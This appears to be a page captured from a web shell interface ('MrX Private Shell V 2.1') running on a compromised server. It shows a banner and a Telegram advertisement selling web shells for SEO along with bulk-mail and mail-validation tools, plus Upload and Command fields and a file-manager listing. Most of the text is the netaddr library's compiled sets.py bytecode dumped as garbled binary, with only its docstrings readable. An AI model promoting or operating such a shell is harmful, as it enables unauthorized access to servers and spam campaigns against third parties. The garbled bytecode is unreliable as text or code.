__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�̸g�f��Z�SrSSKrSSKrSSKJrJrJrJ	r	J
r
Jr SrSr
"SS\5rg)z2Set based operations for IP addresses and subnets.�N)�	IPNetwork�	IPAddress�IPRange�
cidr_merge�cidr_exclude�iprange_to_cidrsc�.�URRnXnURUR:�a*URX@RURS-
45 US-
nUnU[	U5:amXnXp;aOcUR
S-UR:XaO-URXFR
S-URS-
45 US-
nUnU[	U5:aMmUR
S-nUR
n	X�::aURXHU	45 U$)a�Calculate IPSet([supernet]) - IPSet(subnets).

Assumptions: subnets is sorted, subnet_idx points to the first
element in subnets that is a subnet of supernet.

Results are appended to the ranges parameter as tuples of in format
(version, first, last). Return value is the first subnet_idx that
does not point to a subnet of supernet (or len(subnets) if all
subsequents items are a subnet of supernet).
�)�_module�version�first�append�len�last)
�supernet�subnets�
subnet_idx�rangesr�subnet�prev_subnet�
cur_subnetr
rs
          �1/usr/lib/python3/dist-packages/netaddr/ip/sets.py�	_subtractrs�����&�&�G�
�
 �F�
�|�|�h�n�n�$��
�
�w������q�0@�A�B��!�O�J��K�
�s�7�|�
#��(�
��%�����a��:�#3�#3�3���M�M�7�$4�$4�q�$8�*�:J�:J�Q�:N�O�P��a��
� ���s�7�|�
#�
���q� �E��=�=�D��}��
�
�w�t�,�-���c#��# �U(dgUSupnUSSH5upEnXSS-:Xa	XA:XaUnM[X!5[X154v� UnUnUnM7 [X!5[X154v� g7f)aYIterate over sorted_ranges, merging where possible

Sorted ranges must be a sorted iterable of (version, first, last) tuples.
Merging occurs for pairs like [(4, 10, 42), (4, 43, 100)] which is merged
into (4, 10, 100), and leads to return value
( IPAddress(10, 4), IPAddress(100, 4) ), which is suitable input for the
iprange_to_cidrs function.
Nrr
)r)�
sorted_ranges�current_version�
current_start�current_stop�next_version�
next_start�	next_stops       r�_iter_merged_rangesr#6s������3@��3C�0�O�L�/<�Q�R�/@�+��)���)�)�l�.M�$�L����8�)�L�:b�c�c�"�
� ��&��0A��]�4�i��6^�
_�_�s�A(A*c��\rSrSrSrSrS'SjrSrSrSr	S	r
S
rSrSr
S
rSrS(SjrS(SjrSrSrSrS(SjrSrSrSrSrSr\rSrSr\rSr\r Sr!\!r"Sr#\#r$Sr%\%r&S r'\(S!5r)S"r*\*r+S#r,S$r-S%r.S&r/g))�IPSet�QzO
Represents an unordered collection (set) of unique IP addresses and
subnets.

)�_cidrs�__weakref__Nc�"�[U[5(aURS0Ulg[U[5(a,[
R
[USUS5S5Ulg[U[5(a*[
R
UR5S5Ulg0UlUb\/nUH2n[U[5(a	[XBS9nURU5 M4 [U5HnSURU'M gg)a
Constructor.

:param iterable: (optional) an iterable containing IP addresses,
    subnets or ranges.

:param flags: decides which rules are applied to the interpretation
    of the addr value. See the :class:`IPAddress` documentation
    for supported constant values.

Tr���N��flags)�
isinstancer�cidrr'r�dict�fromkeysrr%�
iter_cidrs�intrrr��self�iterabler,�	mergeable�addrr.s      r�__init__�IPSet.__init__Zs����h�	�*�*�#�=�=�$�/�D�K�
��'�
*�
*��-�-�(8��!��h�r�l�(S�UY�Z�D�K�
��%�
(�
(��-�-��(;�(;�(=�t�D�D�K��D�K��#��	�$�D�!�$��,�,�(��;���$�$�T�*�%�
'�y�1�D�(,�D�K�K��%�2�$rc�r�[URVs/sHoR5PM sn5$s snf)z.:return: Pickled state of an ``IPSet`` object.)�tupler'�__getstate__�r4r.s  rr<�IPSet.__getstate__xs*���d�k�k�B�k�d�'�'�)�k�B�C�C��Bs�4c�H�[RSU5S5Ulg)zB
:param state: data used to unpickle a pickled ``IPSet`` object.

c3�># �UHupn[X4US9v� M g7f))rN)r)�.0�value�	prefixlenrs    r�	<genexpr>�%IPSet.__setstate__.<locals>.<genexpr>�s"���c�]b�@Y��RY�Y��)�7�
;�]b�s�TN)r/r0r')r4�states  r�__setstate__�IPSet.__setstate__|s ��
�m�m�c�]b�c��
��rc��URnURnURnURURR
:Xa6UR
5H!nXPR;dMURU	 g O�/nURH}nURRU:wdXq:XaM$URnURn	X�:�aX�::aURU5 MYX�::dM`X�:�dMgURU	U(ae g UHn
URU
	M URR
UR-
nURS:wa�URU-	S-nU(aUR5n
OUR5n
X�R;agURU
	URU	U=RS-sl	US-
nURU-	U-Ul
SURU'URS:waM�gg)z�
Same as compact(), but assume that added_network is the only change and
that this IPSet was properly compacted before added_network was added.
This allows to perform compaction much faster. added_network must
already be present in self._cidrs.
Nrr
T)
r
rr�
_prefixlenr�widthrr'rrC�_value�previous�next)r4�
added_network�added_first�
added_last�
added_version�potential_supernet�	to_remover.r
r�item�shift_width�the_bit�	candidates              r�_compact_single_network�IPSet._compact_single_network�s���$�)�)��"�'�'�
�%�-�-�
��#�#�}�'<�'<�'B�'B�B�'4�&<�&<�&>�"�%���4����M�2��'?��I������<�<�'�'�=�8�D�<Q���
�
���y�y���'�D�,>��$�$�T�*��)�d�.@����M�2� )�(�=��$� "���K�K��%�"�$�+�+�1�1�M�4K�4K�K���%�%��*�$�+�+�{�:�a�?�G��)�2�2�4�	�)�.�.�0�	����+�����I�&����M�*��#�#�q�(�#�
�1��K�$1�$8�$8�K�$G�K�#W�M� �)-�D�K�K�
�&�)�%�%��*rc�d�[UR5n[RUS5Ulg)zB
Compact internal list of `IPNetwork` objects using a CIDR merge.
TN)rr'r/r0�r4�cidrss  r�compact�
IPSet.compact�s$���4�;�;�'���m�m�E�4�0��rc��[S5e)z�
Raises ``TypeError`` if this method is called.

.. note:: IPSet objects are not hashable and cannot be used as             dictionary keys or as members of other sets.         zIP sets are unhashable!)�	TypeError�r4s r�__hash__�IPSet.__hash__�s���1�2�2rc���[U5nX R;agUR(a8U=RS-slX R;agUR(aM8g)zl
:param ip: An IP address or subnet.

:return: ``True`` if IP address or subnet is a member of this IP set.
Tr
F)rr'rJ)r4�iprs   r�__contains__�IPSet.__contains__�sT���R�=���{�{�"���!�!����1�$���;�;�&���!�!�!�rc�,�[UR5$)z9Return True if IPSet contains at least one IP, else False)�boolr'rbs r�__bool__�IPSet.__bool__�s���D�K�K� � rc�N�[R"[UR56$)z@
:return: an iterator over the IP addresses within this IP set.
)�
_itertools�chain�sortedr'rbs r�__iter__�IPSet.__iter__�s���������!4�5�5rc�,�[UR5$)zE
:return: an iterator over individual IP subnets within this IP set.
)rpr'rbs rr1�IPSet.iter_cidrs�s���d�k�k�"�"rc��[U[5(aR[R[	USUS5S5nUR
R
U5 UR5 g[U[5(a
URnO3[U[5(a[[XS95nO[U5nSUR
U'URU5 g)a�
Adds an IP address or subnet or IPRange to this IP set. Has no effect if
it is already present.

Note that where possible the IP address or subnet is merged with other
members of the set to form more concise CIDR blocks.

:param addr: An IP address or subnet in either string or object form, or
    an IPRange object.

:param flags: decides which rules are applied to the interpretation
    of the addr value. See the :class:`IPAddress` documentation
    for supported constant values.

rr*TNr+)
r-rr/r0rr'�updater^rr.r2rrY)r4r7r,�	new_cidrss    r�add�	IPSet.adds��� �d�G�$�$��
�
�&6�t�A�w��R��&I�4�P�I��K�K���y�)��L�L�N���d�I�&�&��9�9�D�
��c�
"�
"��Y�t�9�:�D��T�?�D� ����D���$�$�T�*rc��[U[5(a-[USUS5nUHnURU5 M g[U[5(a
[XS9nO[
U5nURU5 SnSnURHnX;dM
[XA5nUn O Ub&URU	UHnSURU'M gg)a�
Removes an IP address or subnet or IPRange from this IP set. Does
nothing if it is not already a member.

Note that this method behaves more like discard() found in regular
Python sets because it doesn't raise KeyError exceptions if the
IP address or subnet is question does not exist. It doesn't make sense
to fully emulate that behaviour here as IP sets contain groups of
individual IP addresses as individual set members using IPNetwork
objects.

:param addr: An IP address or subnet, or an IPRange.

:param flags: decides which rules are applied to the interpretation
    of the addr value. See the :class:`IPAddress` documentation
    for supported constant values.

rr*Nr+T)
r-rr�remover2rrrxr'r)r4r7r,r]r.�	remainder�
matching_cidrs       rr{�IPSet.remove#s���&�d�G�$�$�$�T�!�W�d�2�h�7�E������D�!����d�C� � ��T�/�D��T�?�D�	
������	��
��K�K�D��|�(��4�	� $�
��	 �� ����M�*�!��$(����D�!�"�!rc�<�URR5S$)zl
Removes and returns an arbitrary IP address or subnet from this IP
set.

:return: An IP address or subnet.
r)r'�popitemrbs r�pop�	IPSet.pop[s���{�{�"�"�$�Q�'�'rc�2�URU5nU(+$)z�
:param other: an IP set.

:return: ``True`` if this IP set has no elements (IP addresses
    or subnets) in common with other. Intersection *must* be an
    empty set.
)�intersection)r4�other�results   r�
isdisjoint�IPSet.isdisjointds���"�"�5�)���z�rc�p�UR5nURRUR5 U$)z':return: a shallow copy of this IP set.)�	__class__r'rv)r4�obj_copys  r�copy�
IPSet.copyos)���>�>�#�������t�{�{�+��rc
���[U[5(aq[RS[	[
R"URR5URR5555S5Ulg[U[[45(aURU5 g[US5(d[S5e/nUH2n[U[5(a	[XBS9nUR!U5 M4 [	[
R"URR5U55HnSURU'M UR#5 g)aB
Update the contents of this IP set with the union of itself and
other IP set.

:param iterable: an iterable containing IP addresses, subnets or ranges.

:param flags: decides which rules are applied to the interpretation
    of the addr value. See the :class:`IPAddress` documentation
    for supported constant values.

c3�&# �UHnUv� M	 g7f)N�)rArfs  rrD�IPSet.update.<locals>.<genexpr>�s��������s�TNrqzan iterable was expected!r+)r-r%r/r0rrnror'�keysrrrx�hasattrrar2rrr^r3s      rrv�IPSet.updateus���h��&�&��-�-��(�"�(�(����)9�)9�);�X�_�_�=Q�=Q�=S�T�����D�K�
�
��9�g�"6�
7�
7��H�H�X����x��,�,��7�8�8��	��D��$��$�$� ��3�����T�"��
�z�/�/����0@�0@�0B�I�N�O�D� $�D�K�K���P�	
���rc��0Ulg)z5Remove all IP addresses and subnets from this IP set.N�r'rbs r�clear�IPSet.clear�s	����rc�b�URUR:H$![a	 [s$f=f)z{
:param other: an IP set

:return: ``True`` if this IP set is equivalent to the ``other`` IP set,
    ``False`` otherwise.
�r'�AttributeError�NotImplemented�r4r�s  r�__eq__�IPSet.__eq__��/��	"��;�;�%�,�,�.�.���	"�!�!�	"����.�.c�b�URUR:g$![a	 [s$f=f)z{
:param other: an IP set

:return: ``False`` if this IP set is equivalent to the ``other`` IP set,
    ``True`` otherwise.
r�r�s  r�__ne__�IPSet.__ne__�r�r�c��[US5(d[$URUR:=(a URU5$)zw
:param other: an IP set

:return: ``True`` if this IP set is less than the ``other`` IP set,
    ``False`` otherwise.
r')r�r��size�issubsetr�s  r�__lt__�IPSet.__lt__�s8���u�h�'�'�!�!��y�y�5�:�:�%�>�$�-�-��*>�>rc�8�URH
nX!;dM
 g g)zz
:param other: an IP set.

:return: ``True`` if every IP address and subnet in this IP set
    is found within ``other``.
FTr��r4r�r.s   rr��IPSet.issubset�s ���K�K�D�� �� �rc��[US5(d[$URUR:�=(a URU5$)z{
:param other: an IP set.

:return: ``True`` if this IP set is greater than the ``other`` IP set,
    ``False`` otherwise.
r')r�r�r��
issupersetr�s  r�__gt__�IPSet.__gt__�s8���u�h�'�'�!�!��y�y�5�:�:�%�@�$�/�/�%�*@�@rc�f�[US5(d[$URH
nX ;dM
 g g)zz
:param other: an IP set.

:return: ``True`` if every IP address and subnet in other IP set
    is found within this one.
r'FT)r�r�r'r�s   rr��IPSet.issuperset�s3���u�h�'�'�!�!��L�L�D����!�rc�H�UR5nURU5 U$)z�
:param other: an IP set.

:return: the union of this IP set and another as a new IP set
    (combines IP addresses and subnets from both sets).
)r�rv)r4r��ip_sets   r�union�IPSet.union�s ��������
�
�e���
rc�r�0n[UR5n[UR5nSnSn[U5n[U5nXW:a[Xh:aVX5n	XFn
X�:XaSX)'US-
nUS-
nO.X�;a
SX)'US-
nOX�;a
SX*'US-
nOX�:aUS-
nOUS-
nXW:aXh:aMV[5nX+lU$)z�
:param other: an IP set.

:return: the intersection of this IP set and another as a new IP set.
    (IP addresses and subnets common to both sets).
rTr
)rpr'rr%)r4r��result_cidrs�own_nets�
other_nets�own_idx�	other_idx�own_len�	other_len�own_cur�	other_curr�s            rr��IPSet.intersection�s������$�+�+�&���E�L�L�)�
����	��h�-���
�O�	���I�$9��'�G�"�-�I��#�(,��%��1����Q��	��%�(,��%��1����%�*.��'��Q��	��&��q�L�G���N�I�'��I�$9�.���$�
��
rc� �/n[UR5n[UR5nSnSn[U5n[U5nXW:a�Xh:a�X5n	XFn
X�:XaUS-
nUS-
nO�X�;a[X�XR5nUS-
nO�X�;a[X�Xb5nUS-
nO�X�:aBUR	U	R
RU	RU	R45 US-
nOAUR	U
R
RU
RU
R45 US-
nXW:aXh:aM�XW:aLX5n	UR	U	R
RU	RU	R45 US-
nXW:aMLXh:aLXFn
UR	U
R
RU
RU
R45 US-
nXh:aML[5n[U5H(up�[X�5nUHnSURU'M M* U$)z�
:param other: an IP set.

:return: the symmetric difference of this IP set and another as a new
    IP set (all IP addresses and subnets that are in exactly one
    of the sets).
rr
T)rpr'rrrrrr
rr%r#r)r4r��
result_rangesr�r�r�r�r�r�r�r�r��start�stopr]r.s                r�symmetric_difference�IPSet.symmetric_difference*s����
��$�+�+�&���E�L�L�)�
����	��h�-���
�O�	���I�$9��'�G�"�-�I��#��1����Q��	��%�#�I��P���Q��	��%�%�g�9�T�	��1����&�!�(�(�'�/�/�*A�*A�7�=�=�RY�R^�R^�)_�`��q�L�G�!�(�(�"�*�*�2�2�I�O�O�Y�^�^�T����N�I�-��I�$9�4���'�G�� � �'�/�/�"9�"9�7�=�=�'�,�,�!W�X��q�L�G����#�"�-�I�� � �)�"3�"3�";�";�Y�_�_�i�n�n�!]�^���N�I��#�
���.�}�=�K�E�$�U�1�E���&*��
�
�d�#��>��
rc��/n0n[UR5n[UR5nSnSn[U5n[U5n	Xh:a_Xy:aZXFn
XWnX�:XaUS-
nUS-
nO6X�;aUS-
nO+X�;a[X�Xr5nUS-
nOX�:a
SX:'US-
nOUS-
nXh:aXy:aMZXh:aSX4U'US-
nXh:aM[	U5Hup�[X�5HnSX>'M	 M [
5nX?lU$)z�
:param other: an IP set.

:return: the difference between this IP set and another as a new IP
    set (all IP addresses and subnets that are in this IP set but
    not found in the other.)
rr
T)rpr'rrr#rr%)r4r�r�r�r�r�r�r�r�r�r�r�r�r�r.r�s                r�
difference�IPSet.differencels5���
����$�+�+�&���E�L�L�)�
����	��h�-���
�O�	���I�$9��'�G�"�-�I��#��1����Q��	��%��1����%�%�g�9�T�	��1����&�,0�L�)��q�L�G���N�I�%��I�$9�,��.2�L�'�*�+��q�L�G���/�}�=�K�E�(��5��%)��"�6�>����$�
��
rc�~�URnU[R:�a[S[R-5eU$)z�
:return: the cardinality of this IP set (i.e. sum of individual IP             addresses). Raises ``IndexError`` if size > maxsize (a Python             limitation). Use the .size property for subnets of any size.
zVrange contains more than %d (sys.maxsize) IP addresses!Use the .size property instead.)r��_sys�maxsize�
IndexError)r4r�s  r�__len__�
IPSet.__len__�s?���y�y���$�,�,���2�48�L�L�A��
��rc�j�[URVs/sHoRPM sn5$s snf)z�
The cardinality of this IP set (based on the number of individual IP
addresses including those implicitly defined in subnets).
)�sumr'r�r=s  rr��
IPSet.size�s'���$�+�+�6�+�$�I�I�+�6�7�7��6s�0c�p�S[UR5Vs/sHn[U5PM sn-$s snf)z8:return: Python statement to create an equivalent objectz	IPSet(%r))rpr'�str)r4�cs  r�__repr__�IPSet.__repr__�s.���f�T�[�[�.A�B�.A��c�!�f�.A�B�B�B��Bs�3c��UR5n[U5S:�a$USSnUHnUSU:wa gUSS-nM g)z�
Returns True if the members of the set form a contiguous IP
address range (with no gaps), False otherwise.

:return: ``True`` if the ``IPSet`` object is contiguous.
r
rFr*T)r1r)r4r]rMr.s    r�iscontiguous�IPSet.iscontiguous�sS�����!���u�:��>��Q�x��{�H�����7�h�&� ���8�a�<���rc��UR5(a0UR5nU(dg[USSUSS5$[S5e)z�
Generates an IPRange for this IPSet, if all its members
form a single contiguous sequence.

Raises ``ValueError`` if the set is not contiguous.

:return: An ``IPRange`` for all IPs in the IPSet.
Nrr*zIPSet is not contiguous)r�r1r�
ValueErrorr\s  r�iprange�
IPSet.iprange�sN��������O�O�%�E����5��8�A�;��b�	�"�
�6�6��6�7�7rc#��# �UR5Vs/sH/oRRURUR4PM1 nn[U5Hup4[
X45v� M gs snf7f)z�Generate the merged IPRanges for this IPSet.

In contrast to self.iprange(), this will work even when the IPSet is
not contiguous. Adjacent IPRanges will be merged together, so you
get the minimal number of IPRanges.
N)r1rrr
rr#r)r4r.rr�r�s     r�
iter_ipranges�IPSet.iter_ipranges�sg���GK�o�o�FW�
�FW�d�\�\�
!�
!�4�:�:�t�y�y�9�FW�	�
�/�}�=�K�E��%�&�&�>��	
�s�A4�6A/�)A4r�)Nr)r)0�__name__�
__module__�__qualname__�__firstlineno__�__doc__�	__slots__r8r<rGrYr^rcrgrkrqr1rxr{r�r�r�rvr�r�r�r�r��__le__r�r��__ge__r��__or__r��__and__r��__xor__r��__sub__r��propertyr�r��__str__r�r�r��__static_attributes__r�rrr%r%Qs����*�I�-�<D�
�H.�T1�3��&!�6�#�+�@4)�p(�	��'�R�
"�
"�
?�
��F�
A�
��F�	��F�(�T�G�>�@#�G�1�f�G���8��8�C��G�� 8�"'rr%)r��	itertoolsrn�sysr��
netaddr.iprrrrrrrr#�objectr%r�rr�<module>r�s0��9���`�`�%�P`�6Y
'�F�Y
'r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 81.17 KB 0644
glob.cpython-313.pyc File 11.39 KB 0644
iana.cpython-313.pyc File 17.2 KB 0644
nmap.cpython-313.pyc File 4.22 KB 0644
rfc1924.cpython-313.pyc File 2.28 KB 0644
sets.cpython-313.pyc File 25.31 KB 0644
Filemanager